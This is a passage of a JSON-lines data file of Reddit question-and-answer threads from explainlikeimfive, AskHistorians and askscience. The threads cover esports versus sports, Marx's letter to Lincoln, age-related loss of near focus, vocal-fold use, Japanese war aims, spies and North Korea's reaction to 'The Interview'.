of Chris Paul, James Harden, and Steph Curry who have changed the game to make it more fluid.\n\nRule changes keep the game interesting and create new metas. Every sport goes through this. Esports have more competition hence more changes. Dota is constantly being challenged by new games to take the popularity. Who challenges the NBA? In the 60s and 70s, the NBA competed with the ABA and the game changed rapidly to the point where bad decisions were made on both sides and they almost collapsed.", "The reason a lot of Esports need to change is because they are fundamentally different from sports in that game mechanics need to be balanced. You don't need to balance a Football or Hockey team because every individual plays with the same tools and with the same rules.\n\nCompare this to something like League or Dota where every Champion or Hero has different skills that do different things and play a different role. There's just a lot more going in an esport than an actual sport overall but that's what makes it interesting and competitive while losing the physical component. Esports trades the heavy physical expertise for a more complex set of rules and strategies and because of how they achieve this they need to change the game.", "While it happens at a faster pace in esports, this statement is actually false. \nThe NBA (who I\u2019d argue is the frontrunner for being innovative and adding new viewers) has added a shot clock, added a time set to being in the paint; has added new teams and has changed the draft / entrance rules and typically has 2-3 rule changes every year (although not noticeable to the average joe). \nThe NFL within his the last couple years has moved back the PAT kick, pretty sure they\u2019ve changed the kickoff and are considering removing it all together. Not to mention overtime rule changes. \nThe NHL has also recently implemented overtime rule changes that even go as far to change how many people are on the ice. \nThe MLB I\u2019m pretty sure In recent years has either changed the base length in some way or pitching in one way or another. \n\nWhile the games themselves seem to change every year at a much faster pace it\u2019s typically Bc there\u2019s an entirely new game out anyway. \n\nThe games have changed dramatically over the years over what seem to be simple rule changes. And now we\u2019ve entered the age of math in sports which has completely changed how teams are built across a variety of sports. \n\nPersonally basketball is my favorite and you can truly dive deep down the rabbit whole into the analytics but the sports were watching today are quite different than the same sort of 10-20 years ago ", "Everyone has tried to run fast and jump high and catch a fast-moving object, etc. That means everyone has a frame of reference for how amazing IRL sports are. They've literally tried the skills involved before, usually many times.\n\nEsports have no basic skill referents like that. There's no commonality with a universal experience. If you have not played the game, you have no idea what's involved.", "The feats of sports are athletic, the feats of esports are strategic.\n\nWhat's impressive in football or basketball is how fast a person can run, how hard a person can hit, or how accurate a person can throw. The rules are very simple, but the execution is WIDELY variable based on the athleticism of the competitors. You don't need to change the game because you have a constant turn style of players coming in and going out with different combinations of athletic skills and the game is different based on how they employ those.\n\n & #x200B;\n\nIn esports the entire game in abstract, is a gigantic set of digital rules in the programming of the game. The job of the players is to navigate these rules to win the game. So basically this boils down to finding the best thing to be doing in the game and win that way. Of course best is not an absolute thing, it is a statistical thing, but the nature of the game is that there will be a statistically favored thing to do. Once it is found, a lot of the fun of the game is immediately sucked out of it. So they have to add a new character or make a balance patch to mix up the strategies and breathe new life into the game. ", "Easy. \n\nIn video games ones limitation on what\u2019s possible is based on animated graphics. \n\nIn sports ones limitations are based solely on what the body is possible of doing. \n\nThe body can always be pushed a little further to accomplish more skill and possibilities than what was previously done and that\u2019s the push in sports, that\u2019s the ideal of being better than and getting yourself better. Whereas a video game graphic can\u2019t push that line. A new video game will have to be created that pushes that line and then another and another so you have Halo 1, Halo 2, Halo 3 and on until the creators can\u2019t think up any more new moves to come up with for the characters to do or what they can do with a games sandbox that offers new possibilities for the player to do and that when an entirely new IP is born as the creators move on. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["boring.At"], [], [], [], [], [], ["https://www.dictionary.com/browse/sport"], [], [], [], [], [], [], [], [], []]}
{"q_id": "df89os", "title": "Karl Marx and Abraham Lincoln", "selftext": "I found this article from the Washington Post that implies that Lincoln was very much into Karl Marx.\n _URL_0_\n\nThe article says a lot of things without really backing it up with any kind of evidence or sources for me to pore over. So my question essentially is: Did Marx have an influence on Lincoln's politics? Did they have some kind of personal correspondence? What exactly was Lincoln's interest in Marx if he had any at all?\n\nIf the question has already been answered please direct me to it.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/df89os/karl_marx_and_abraham_lincoln/", "answers": {"a_id": ["f31s4zq"], "score": [37], "text": ["Marx became an adamant supporter of the Lincoln administration and the Union's cause during the course of the American Civil War. While Marx wasn't particularly known in America by the mid 1860s, he had cofounded the International Workingmen's Association by the fall of 1864, and drafted a letter to Lincoln on behalf of the organization following his reelection in the 1864 presidential election. The letter is praising of the abolitionist turn of Lincoln's executive authority and the progress of the war on the South. It reads:\n\n > \"Sir:\n\n > We congratulate the American people upon your re-election by a large majority. If resistance to the Slave Power was the reserved watchword of your first election, the triumphant war cry of your re-election is Death to Slavery.\n\n > From the commencement of the titanic American strife the workingmen of Europe felt instinctively that the star-spangled banner carried the destiny of their class. The contest for the territories which opened the dire epopee, was it not to decide whether the virgin soil of immense tracts should be wedded to the labor of the emigrant or prostituted by the tramp of the slave driver?\n\n > When an oligarchy of 300,000 slaveholders dared to inscribe, for the first time in the annals of the world, \"slavery\" on the banner of Armed Revolt, when on the very spots where hardly a century ago the idea of one great Democratic Republic had first sprung up, whence the first Declaration of the Rights of Man was issued, and the first impulse given to the European revolution of the eighteenth century; when on those very spots counterrevolution, with systematic thoroughness, gloried in rescinding \"the ideas entertained at the time of the formation of the old constitution\", and maintained slavery to be \"a beneficent institution\", indeed, the old solution of the great problem of \"the relation of capital to labor\", and cynically proclaimed property in man \"the cornerstone of the new edifice\" \u2014 then the working classes of Europe understood at once, even before the fanatic partisanship of the upper classes for the Confederate gentry had given its dismal warning, that the slaveholders' rebellion was to sound the tocsin for a general holy crusade of property against labor, and that for the men of labor, with their hopes for the future, even their past conquests were at stake in that tremendous conflict on the other side of the Atlantic. Everywhere they bore therefore patiently the hardships imposed upon them by the cotton crisis, opposed enthusiastically the proslavery intervention of their betters \u2014 and, from most parts of Europe, contributed their quota of blood to the good cause.\n\n > While the workingmen, the true political powers of the North, allowed slavery to defile their own republic, while before the Negro, mastered and sold without his concurrence, they boasted it the highest prerogative of the white-skinned laborer to sell himself and choose his own master, they were unable to attain the true freedom of labor, or to support their European brethren in their struggle for emancipation; but this barrier to progress has been swept off by the red sea of civil war.\n\n > The workingmen of Europe feel sure that, as the American War of Independence initiated a new era of ascendancy for the middle class, so the American Antislavery War will do for the working classes. They consider it an earnest of the epoch to come that it fell to the lot of Abraham Lincoln, the single-minded son of the working class, to lead his country through the matchless struggle for the rescue of an enchained race and the reconstruction of a social world. \"\n\nThe letter was received and transmitted to Washington by the American envoy in the UK, Charles Francis Adams (grandson of John Adams, son of John Quincy Adams). Adams' response to the letter was thus:\n\n\n > Sir:\n\n > I am directed to inform you that the address of the Central Council of your Association, which was duly transmitted through this Legation to the President of the United [States], has been received by him.\n\n > So far as the sentiments expressed by it are personal, they are accepted by him with a sincere and anxious desire that he may be able to prove himself not unworthy of the confidence which has been recently extended to him by his fellow citizens and by so many of the friends of humanity and progress throughout the world.\n\n > The Government of the United States has a clear consciousness that its policy neither is nor could be reactionary, but at the same time it adheres to the course which it adopted at the beginning, of abstaining everywhere from propagandism and unlawful intervention. It strives to do equal and exact justice to all states and to all men and it relies upon the beneficial results of that effort for support at home and for respect and good will throughout the world.\n\n > Nations do not exist for themselves alone, but to promote the welfare and happiness of mankind by benevolent intercourse and example. It is in this relation that the United States regard their cause in the present conflict with slavery, maintaining insurgence as the cause of human nature, and they derive new encouragements to persevere from the testimony of the workingmen of Europe that the national attitude is favored with their enlightened approval and earnest sympathies.\n\n\nWhile many may try to write a more romantic or deep account of the relations of Abraham Lincoln and Karl Marx, this simple and short dialogue is the real extent of their communications that we can attest to. Lincoln died just a few months following the response of Adams. Marx was however consistent in his support for the political revolution of Reconstruction that continued following the end of the Civil War and the elevation of freed slaves as citizens and political actors. Lincoln certainly shared in his public rhetoric many sympathies to Marx's ideas of class struggle and alienation, as he voiced his belief that no man can truly be free while engaging in wage labor for a living, and even came out in support of striking and workers organizing during the New England Shoemakers Strike shortly before becoming President. However, it is a safe bet to say that Lincoln had probably never heard of Marx in any capacity before the 1864 letter was wired to him by Adams, and certainly never read any of his work. However, it's known that Lincoln went out of his way to read letters and dispatches to the White House daily, so it is very likely that he did personally read Marx's letter.\n\n Interestingly though, the only American Marx mentions by name in his magnum opus Capital is Ben Wade, radical Republican senator from Ohio, alluding to a speech Wade gave on the inexorable feud between capital and labor that was becoming apparent by the late 1860s."]}, "title_urls": [], "selftext_urls": ["https://www.google.com/amp/s/www.washingtonpost.com/history/2019/07/27/you-know-who-was-into-karl-marx-no-not-aoc-abraham-lincoln/%3foutputType=amp"], "answers_urls": [[]]}
{"q_id": "9jcadl", "title": "how come working most muscle groups in the body leads them to be come \"built up\" and stronger, while one's eye muscles only seem to strain and weaken over time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9jcadl/eli5_how_come_working_most_muscle_groups_in_the/", "answers": {"a_id": ["e6qbp58", "e6qbz0c", "e6r7oft", "e6r8axb", "e6rfwy8", "e6rvyqv", "e6rwspf"], "score": [2834, 71, 2, 279, 16, 18, 3], "text": ["See _URL_0_\n\nAs you age the muscles in the eye do not weaken, rather the lens becomes full of cells and impossible to manipulate. Thus it cannot be stretched to accommodate focussing on nearby objects. All older people get this problem and hence need reading glasses. People who already have refractive error (normally because their eyeball is the wrong length) will gain this problem on top of whatever issue they already have. This is why varifocal glasses exist.", "Muscles are like a bunch of guys playing tug of war. Just like the guys in the tug of war, muscles can only pull in one direction or the other. No pushing allowed.\n\nWhen your eyeball moves in one direction, the other team kind of \u201cgives up\u201d and lets the opposite team on the other side of the eyeball win. They don\u2019t let go completely, but control it to make sure the other team doesn\u2019t pull too hard so as to not damage the eye. \n\nWhen you add an extra load to one side of the tug of war, say, a 4x4 truck for team B, then team A is going to get overloaded pretty quickly when it\u2019s time to pull. They\u2019re still going to try their best not to lose and because they don\u2019t want the body to get hurt, but if the truck pulls hard enough, this makes some of the people on team A trip and fall over.\n\nIf that happens, your body will put more guys on team A to better handle the next time a tuck shows up on the other side of the rope, which makes the team (and the muscle) bigger and bigger.\n\nBodybuilders and weightlifters take advantage of this effect to get bigger and stronger and will use bigger and bigger trucks over time.\n\nEDIT: This explains the muscles around the eye and is a good descriptor for what happens when a muscle gets built up and why it doesn\u2019t happen with eye muscles (can use weights for your eyeballs), but is inadequate for describing all of the types of ocular degeneration which occur with age. ", "I asked a version of this question of an ophthalmologist. He explained that it\u2019s smooth (involuntary) muscle, which we can\u2019t consciously exercise and which doesn\u2019t respond like other muscle to strain. \n\nThere is an app called \u201cGlasses Off\u201d that I\u2019ve read about. It\u2019s 60 mins every day for six weeks though...and it\u2019s retraining the brain to interpret not the eye muscles to focus. ", "So I am seeing a lot of people on here commenting about how we strengthen our muscles and build them up, etc. This is true for skeletal muscles like the muscles surrounding the eyes, but not for the muscles of the ciliary body-the ones controlling how much the lens in the eye is flexed and relaxed, and therefore focused. They are smooth muscle like those in our esophagus or intestines, and cannot be strengthened the same way.", "simple answer: the muscle groups in the body you refer to are striated or, skeletal, muscle and can be built up. when you refer to eye muscles i'm not sure if you're referring to your vision overall at distance, which has little to do with any muscles, or your near vision, which does, but relies on smooth muscles which cannot be built up through exercise. there are two major competing hypothesis on why our near vision declines with time. i refer you [here](_URL_0_) for a more thorough explanation. neither accounts fully for the changes we see in human vision but the helmholtz hypothesis has been more practically verified. it basically says that as we age the increasing inflexibility the the lens (which supplies our near focal power) causes its conributions to our near vision to lessen. the muscles that cause changing of lens shape, the ciliary body muscles, presumably remain equally strong but unable to effect the same changes in  a more rigid lens later in life when compared with earlier.", "Hey wait I know how to answer this!  Optician and opthalmic tech here.  Your vision is not generally related to muscles in your eye.  Your focus and vision have to do with the combined power of your cornea, and the internal lens called the crystalline lens.  \n\nMuscles do contract that lens to see things closer than 20 ft (assuming the eyes power to by typical or 20/20 to start).  As you age, that lens grows internal layers (think a reverse onion).  It becomes less pliable.  So you end up holding things further away from your face due to lack of \"accommodation\".  Eventually you may get reading glasses to make up for the lack of ability to increase the magnification on that internal lens.  \n\nAlso, this lens filters UV to protect your retina.  So it ends up cloudy over time.....which is a cataract.  \n\nNone of that however is related to the muscles that move your eye.....or flex the lens.  \n\nLots of variations based on people's unique vision.....but those are the basics.  I hope it helps!", "Can I append another question to the OP in a similar angle?\n\nWhy does enlarging and strengthening muscles improve us but having a larger, stronger heart result in higher risks for death and generally worse health? Shouldn't a bigger and stronger heart result in better cardiovascular health?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Presbyopia?wprov=sfti1"], [], [], [], ["https://www.aao.org/bcscsnippetdetail.aspx?id=f5f61688-98cd-4e30-84c0-b9acf775950c"], [], []]}
{"q_id": "1th0c9", "title": "Does long term silence or lack of speech (as some monks vow, for example) damage or atrophy the vocal chords or other means of speech?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1th0c9/does_long_term_silence_or_lack_of_speech_as_some/", "answers": {"a_id": ["ce7whh0", "ce7wmm7", "ce7wsf9", "ce7wxgi"], "score": [230, 9, 142, 1939], "text": ["Hi, welcome to AskScience.\n\nWe're looking for answers based on results established through peer reviewed research.\n\nPlease don't share anecdotes.", "[Here](_URL_0_) is a similar question asked earlier this year.  There don't appear to be any scientific studies to validate it (that I can find).\n", "The laryngeal muscles can atrophy from disuse as evidenced by [this case study](_URL_2_) where someone had paralysis of the vagus nerve on one side. After eight years, the two sides were very different looking with muscle atrophy of the paralyzed side.\n\nThis experimental study in [dogs](_URL_0_) also shows that the laryngeal muscles atrophy after denervation (although interestingly the muscles can apparently re-innervate the muscles).\n\nSo I can't say definitively that a vow of silence will result in the same effect, it is probable that complete disuse will result in atrophy. I think the question is whether a vow of silence completely stops the action of those muscles. If they are still activated even though the individuals don't speak, then atrophy is unlikely.\n\nEDIT- As suspected, the laryngeal muscles are involved in [many functions other than speech](_URL_1_) which makes it highly unlikely for a vow of silence to result in laryngeal atrophy.\n", "Speech therapist here!  It would be virtually impossible not to use to muscles that produce speech by adducting and abducting your vocal folds in your daily life.  Your vocal folds protect your airway, so anytime you cough or clear your throat, you are pushing them together, just like you do for speech.  You also build up subglottic pressure by adducting (pushing together) your vocal folds to aid in activities such as lifting weights or pooping.  So yes, anytime you poop, you are using your speech musculature.  \n\nConsider trach patients who have not been able to use their voices for long periods of time.  Yet when a speaking valve is placed over the trach, they can usually produce voicing despite months or even years of not talking. \n\nKeep in mind that muscles tend to atrophy as we age, so it is reasonable for mature adults to present with vocal fold atrophy/edema even with regular use: \n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/askscience/comments/1a2jng/would_my_voice_change_if_i_didnt_talk_for_a_year/"], ["http://onlinelibrary.wiley.com/doi/10.1288/00005537-199206000-00012/full", "http://en.wikipedia.org/wiki/Larynx#Other_functions", "http://onlinelibrary.wiley.com/doi/10.1288/00005537-196611000-00001/full"], ["http://archotol.jamanetwork.com/article.aspx?articleid=608242"]]}
{"q_id": "3h52gr", "title": "In The Man In The High Castle, an alternate history book and now web show, the Japanese occupied the west coast of the US after winning the war. In reality did the Japanese have any intention of doing that if they won?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3h52gr/in_the_man_in_the_high_castle_an_alternate/", "answers": {"a_id": ["cu4fqp7", "cu4hnq8"], "score": [17, 244], "text": ["their long term strategic goals were to maintain a large empire and sphere of influence in east asia. if they were to attack the west coast of the United states it would be for the purposes of getting the usa to sue for peace and leave Asia for good. \n\n", "I'm not aware if the Japanese planned that far ahead. I do know they wanted a regional hegemony in Asia called the Greater East Asian Co-prosperity sphere but as far as I know, did not include any part of the contiguous United States. Their plans did however, include Australia and New Zealand. \n\nJapan knew it couldn't win a war with the United States, for reasons I will show you in a second.\n\nLet's take a look at the GDP of both nations. \n\nJapan had a total GDP in 1941 of 196 Billion in 1990 dollars. \n\nThe US had a total GDP in 1941 of 1094 Billion.\n\nThe US had enacted in 1940 the Vinson-Walsh act which increased the size of the USN by over 70%. The same year the US passed its first peacetime draft in its history. \n\nJapan was already stretched with its war in China and an American oil embargo. Japan is very resource poor, and aside of being one of the motivations for invasion, it was also a huge vulnerability. \n\nJapanese planners knew they couldn't win a protracted war. So why go to war? They wanted to demoralize the American public and buy time to build their empire. The Japanese wanted a short war after which the Americans wouldn't interfere in the construction of their empire.  Pearl harbor was a stalling attack in other words and the theory went that Americans would sue for peace. The Japanese targeted battleships over carriers because of the prestige associated with the battleships at the time.\n\nTheir idea was not completely foolish. The US was still war weary after WWI and the US wasn't completely mobilized yet (the USN fleet was still expanding). \n\nImperial Japans attitudes toward race undoubtedly played a role in attacking.\n\nAdmiral Tadaichi said of Pearl Harbor. \"We have won a great tactical victory at Pearl Harbor and thereby lost the war. \"\n\nSo if anyone in Imperial Japan was planning to actually invade the mainland US, it wasn't taken that seriously by the higher-ups (as far as I know).\n\n\" In the first six to twelve months of a war with the United States and Great Britain I will run wild and win victory upon victory. But then, if the war continues after that, I have no expectation of success.\"\n\n-Isoroku Yamamoto, Fleet admiral of the IJN. \n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "z0fak", "title": "Would we know if there was an imminent possibility of extra-terrestrial contact?", "selftext": "I get the impression any interstellar travel would take a very long time using current plausible methods.  With this in mind, considering our current efforts to map the sky, would we already know if there were some kind of extra-terrestrial spacecraft en route to reach our planet within the next 50 or so years?\n\nI'm assuming this is the right place to post this, please advise or delete otherwise.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z0fak/would_we_know_if_there_was_an_imminent/", "answers": {"a_id": ["c60ed1m"], "score": [2], "text": ["It would depend on the vessel they're traveling in. Smaller bodies that don't emit light, like asteroids, are only spotted if they're big enough and reflective enough to be noticeable. If these aliens are still 50 years out, they're likely still outside our solar system. If that's the case, we probably wouldn't spot them. Especially of they've taken any efforts to make it more difficult to do so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "51x8n2", "title": "how does public infrastructure generate revenue?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/51x8n2/eli5_how_does_public_infrastructure_generate/", "answers": {"a_id": ["d7fkjz4", "d7frhu4", "d7fslbe", "d7fz7r0"], "score": [2, 4, 8, 2], "text": ["If you're asking about direct wealth (income to the government) then it's tolls and fines.  There are also programs like Adopt-a-Highway (where an organization sponsors a stretch of road and cleans it up in return for advertising space on the shoulder).\n\nIf you're asking about the wealth of the people, then it's because highways allow faster access to the suburbs, which shortens commutes for people in the corporate world (executives and otherwise) and distributes the wealth from the cities out to their surroundings.  As richer people move outside of the cities and grow their families, they start buying houses and spending their money, which increases property values in general and makes the area wealthier.", "It generates wealth by opening up economic opportunities and facilitating commerce. Before there was a highway system, if you were a business man selling widgets, you'd be confined to either selling them in a small regional area and/or paying significantly more in shipping costs to move things by freight or on slow, unpaved country roads. With modern highways however you can haul a semi truck from Key West to Seattle in under three days, whereas such a trip would have taken probably well over a week, maybe even two weeks, before the advent of the highway system.\n\nSo when a business is able to make more money as a result of this public infrastructure, that means they are generally going to be paying more in taxes. ", "It's probably more accurate to say that it \"enables generation\" than directly generates wealth.\n\nWithout an interstate highway system, there would be no nationwide trucking industry.  It's cost effective to ship by truck because of the highway system.  FedEx, UPS, Amazon all rely heavily on highways.  So does the fact that you can get fresh fruit daily at your local grocery store that was grown 1000 miles away.  \n\nIt increases tourism, but allowing people who can't afford to fly to visit different parts of the country.", "Revenue and wealth are not the same thing.  What is your actual question?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1b058m", "title": "Was there communication between Andean civilizations and Mesoamerican ones?", "selftext": "I figure that the Andes would be a pretty effective natural barrier between the two, so was there any trade or communication between them? and if so, to what extent?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1b058m/was_there_communication_between_andean/", "answers": {"a_id": ["c92gs12", "c92jlv0"], "score": [8, 10], "text": ["This question actually popped up about a week ago. You can see my answer [here](_URL_0_) if you're interested. If you have follow up questions I'd be happy to answer them.", "The Andes wouldn't have been as big a barrier as you think, at least in the way you might be thinking: large, complex civilizations existing only in the mountains and altiplano. Coastal Peru was the earliest site in South America for such cultures and had a long history of various cultures (e.g. Moche, Huari, Chimu). The region continued to be important even after the Inca conquered the region. That said, the dense montane jungle stretching from Central American into northern South America did not exactly facilitate overland travel.\n\nAnyway, to build and expand on snickeringshadow's earlier answer...\n\nThe rough terrain between Mesoamerica and the Peruvian hills and coast is probably why many theories credit some sort of Pacific maritime trade as the route of contact. See, while there's no conclusive historical evidence of a South American/Mesoamerican migration, there is strong evidence that can be used to infer that at least some contact occurred, though the extent is unclear. Two key pieces of evidence are Mesoamerican-domesticated maize arriving in South America and South American-style metallurgy arriving in Mesoamerica.\n\nWith maize, there's no doubt that it was [domesticated in the Oaxaca/Puebla area around 7000 years ago](_URL_0_). There is some question as to when exactly maize entered into South America, but this event is basically agreed to have been between around [5000](_URL_4_) and [4000](_URL_3_) years ago, so we can leave the academic slap fight over the exact date to someone else. Given the antiquity of these dates, the exact route of transmission (direct/indirect oceanic, overland diffusion, etc.) has been secondary to establishing exactly *when* the transmission occurred.\n\nFor metallurgy, however, [Hosler](_URL_1_) has argued that the strong resemblance between Ecuadorian and West Mexican styles of copper objects indicates the latter was introduced from the former around 1400 years ago. Metalworking is centuries older in South America than in Mesoamerica. She posits that this introduction could possibly have been done via a direct maritime route from Ecuador to Mexico, however [Hosler](_URL_2_) (you cannot escape her in this particular field) has also explored the spread of metallurgy as far North as Costa Rica before it made the \"jump\" into Mexico where it established an independent center.\n\nSo we have at least two strong lines of evidence that Mesoamerican and South American contact occurred, even if it was not necessarily direct or sustained. Then there's the Purepecha (better known as the Tarascans in Mesoamerican history) who speak a language isolate that could possibly be linked to South American languages, pop up relatively out of nowhere in Mexican history, and just coincidentally happen to reside in Michoacan, in Western Mexico. There's also some debate over tomato domestication, but I'm less well versed there. The key thing to remember is that while contact did happen it was not at the formal state level; there were no Quecha neighborhoods in Tenochtitlan, there was no Mexica embassy in Cusco. This does not, however, mean that the contact that did occur did not profoundly change the cultures and civilizations of the regions in question.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1agfvx/did_the_aztec_mayans_and_other_prehispanic/"], ["http://www.pnas.org/content/98/4/2104.full", "http://www.springerlink.com/content/c02342770771xn01/fulltext.html", "http://onlinelibrary.wiley.com/doi/10.1525/aa.1988.90.4.02a00040/abstract", "http://www.sciencedirect.com/science/article/pii/S0305440302908411", "http://www.pnas.org/content/early/2013/02/28/1219425110.abstract"]]}
{"q_id": "2q2g3u", "title": "what are field-agent spies really like in real life? how close or unrelated to their film portrayals are they?", "selftext": "Obviously, field agent spies aren't like 007, who openly give out their names, bed women, use fancy gadgets, and are alcoholics.  I also don't think they're like Jason Bourne or David Webb, who can parkour all the time, play spider-man and climb up walls, have impeccable instincts and reflexes, and have clean hand-to-hand combat with candlesticks and books (or hand-to-hand combat at all).\n\n**But *do* we have *any idea* what field agents are like?**  Are they mostly just sleepers?  I've never watched *The Americans* (a TV show created by a \"former CIA officer\"), but it seems like the premise revolves around a KGB-based married couple that poses as an American family, and occasionally has to do spy-like things like acquire intelligence.\n\n\n**Bottom line: I'm pretty sure Hollywood dramatizes what spies do -- but does anyone have any idea what *actual, real-life* spies do?  Do they have missions?  Do they carry out \"quiet\" assassinations?  Do the have gadgets?**", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q2g3u/eli5_what_are_fieldagent_spies_really_like_in/", "answers": {"a_id": ["cn28ey0", "cn2f9o4", "cn2qul1"], "score": [66, 4, 2], "text": ["Intelligence Officers are the people who are actually employees of the CIA, KGB(now the FSB/RVS), etc. Their primary job is to recruit *agents*. Agents are citizens of other nations that are used to gather information and give it to whichever nation is trying to get it.\n\nExample. Bob is a CIA Intelligence Officer assigned to work out of the US Embassy in Moscow. Dimitri is a Russian citizen who also happens to be a Colonel in the Russian Army. Maybe one day Dimitri realizes he's broke and needs some real money bad, or maybe he's fed up with Putin and wants to undermine him. Bob gets wind of this and approaches Dimitri. Bob offers Dimitri some American currency in exchange for bringing some documents on Russian weapons out of his office and hands them over to Bob.\n\nBob is an *Officer*, Dimitri is his *agent*.\n\nOfficers fall into two categories: Legals and Illegals. Basically a Legal is someone who is actually a member of a nation's diplomatic mission to another nation. He's got diplomatic immunity and if gets caught spying, he gets booted out of the country. Illegals are people who do not have immunity. If they get caught they can get anything from booted out of the country to a bullet in the head and anything in between. But the mission of both is to gather information they're not supposed to have, from people who aren't supposed to give it out, and bring it back to their home nation so that it can be used. \n\nDo they have gadgets? Sometimes. Not like in movies, but there are a few. Back in the days of the cold war, the camera company Minox produced a very tiny camera that *agents* would use to take pictures of documents, maps, blueprints and so forth and then pass the film off to their control *officer*, which was much easier than carrying the documents themselves.\n\nDo they conduct assassinations? Very, very, very rarely. And none that we know of for a very long time. And the reason is simple. The purpose of an Intelligence Agency is to collect intelligence. If a Russian spy in the US kills one of our people, then we might have one of ours kill one of theirs. It starts a back and forth that gets in the way of the real mission, which is finding out stuff other nations don't want you to know. So it's not really done anymore. It happened a few times back in the \"glory\" days of the Cold War in the 50's-70's, but as far we know right now, it's a thing of the past. Of course since the whole point of secret intelligence operations is to keep them secret, we wouldn't really know for sure if it did. Most assassinations are actually when a nation kills one of their own citizens who defected to an enemy nation after spying for them, such as when the Russian Alexander Litvinenko, (who had been spying for the UK before defecting to the UK and living in London) was poisoned with Polonium and died shortly after. But when that sort of thing is done, if ever, it is almost always farmed out to locals or other groups to do the actual killing. The Intelligence Officer would never be the one to actually do it himself.\n\n\nThe average Intelligence Officer who is actually carrying out the job of spying on another nation will likely spend 95% of his time just blending in, pretending to be just another boring office worker, and not spying. The other 5% he might spend picking up a microSD card full of stolen documents that one of his agents left under a park bench, or trying to recruit new agents. No killing, no parkour, no lasers, karate, guns, or rappelling at all. Office work and trying to convince other people to tell them something they're not supposed to.", "I guess it depends on the movie.  The \"Manhunt\" documentary covers in some detail the 15 year long CIA project to track down Osama bin Laden.  For most of the 15 years they were reading reports trying to find the important clues.  Sure, the last 45 minutes was the Hollywood thriller Zero Dark Thirty.  \n\nYou don't see much \"day in the life\" intelligence movies, because going to meetings with potential agents that don't pan out and filing reports that in hindsight turn out to be incomplete would make a very bad film.  Even in ZD30, the field-agent spy wasn't kicking down doors, because we have special forces specialists for that. Same thing with fancy sensors or communications gadgets, we have specialists for that also. The primary shortcut Hollywood always has to make is role-minimization.  The Marines can have 45 people in a rifle platoon but a movie can only have a handful of people with names.  Everything that happens has to happen to the hero, or their sidekicks, or the villian, or their henchmen.  You just can't have a different team specialist for each activity, viewers couldn't keep them straight.  Thus the 007 expert-in-everything is the only plot device that can work within the time constraints of film.", "A former field agent named Lindsay Moran wrote a great book called \"Blowing my Cover\" about her recruitment and time at the CIA (all pre-9/11).  As I recall her overall assessment was that it was mostly pretty boring, and really didn't involve much danger or any life-and-death type action.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Lindsay_Moran"]]}
{"q_id": "2pmsmr", "title": "north korea have been shown in a negative light before in western film (team america, james bond), so why the sudden concern over 'the interview'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pmsmr/eli5_north_korea_have_been_shown_in_a_negative/", "answers": {"a_id": ["cmy44vl", "cmy48x2", "cmy63fc", "cmyex5z", "cmyfc71", "cmyga9v"], "score": [29, 17, 3, 7, 4, 2], "text": ["Because those other ones were satirical, and not talking about directly assasinating their Dear Leader. Assuming it is the N. Koreans.", "I can't speak about the James Bond film, but Team America was about a million things and while it did make fun of North Korea's Kim Jong Il it also made fun of all sorts of aspects of American culture and politics.\n\nAlso, you could tell that it was a silly comedy because it was done with a bunch of puppets.  Kim Jong Un's death scene in The Interview is pretty graphic, realistic, and not funny at all.", "It involves killing Kim Jong Un. He's probably pretty paranoid about assassination threats. He basically said \"don't even JOKE about assassinating me!!!\"", "One difference could be in the leadership itself. Kim Jong Il was a big fan of western movies and was even given a copy of Team America for his personal collection of approximately 20,000 Dvds. His son, on the other hand, is young and underestimated. It's unknown what kind of internal strife is occurring in North Korea, but let's just say his regime is not as secure as his father's. He executed his own uncle a year ago for treason. Some speculation is there was a possible coup planned on the young leader and it resulted in a massive purge by Kim. Allowing a film like this to be shown without resistance could, in his mind, make him appear weak and vulnerable. He wants to make a big, aggressive statement to establish his regime as something not to fuck with.\n\nTl;dr: Kim Jong Il had a relatively secure enough regime to not worry about things like this, but his son wants to flex his political will to prevent seeming vulnerable to the West.", "because it's convenient this time. i'm of the opinion that this \"scandal\" is a scare tactic and Sony will release the film digitally. with all the controversy, free press and worked up emotions of the American consumer, the film will have a huge VOD/streaming premier and will be used as a tool for ushering in further corporate control over the internet. Hollywood and the MPAA have been on about piracy and profit maximization for the past few years now and Sony documents have already leaked stating that the MPAA has been trying to push \"site-blocking\" measures through ISP's. i think they'll use this as a convenient opportunity to make a radical change to the business model and further the power of the industry to make decisions about how we use the internet. or i'm just paranoid :)\n\ntl;dr: using a comedy about North Korea to empower internet censorship, ironically causing us to resemble North Korea lol", "One thing to keep in mind is that movies regularly get smuggled into North Korea via USBs for the Koreans to watch on laptops. You would never hear about this of course, because the North Korean government wants us to think that their citizens are stupid and completely obedient to their government.\n\nIts a possibility that part of the reason (and I'm sure there are a lot of other reasons too) they are so strongly concerned with this movie is because they know their own citizens may see the movie. Team America came out a long time ago and under a different leader too, maybe the movie black market is more bigger now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], 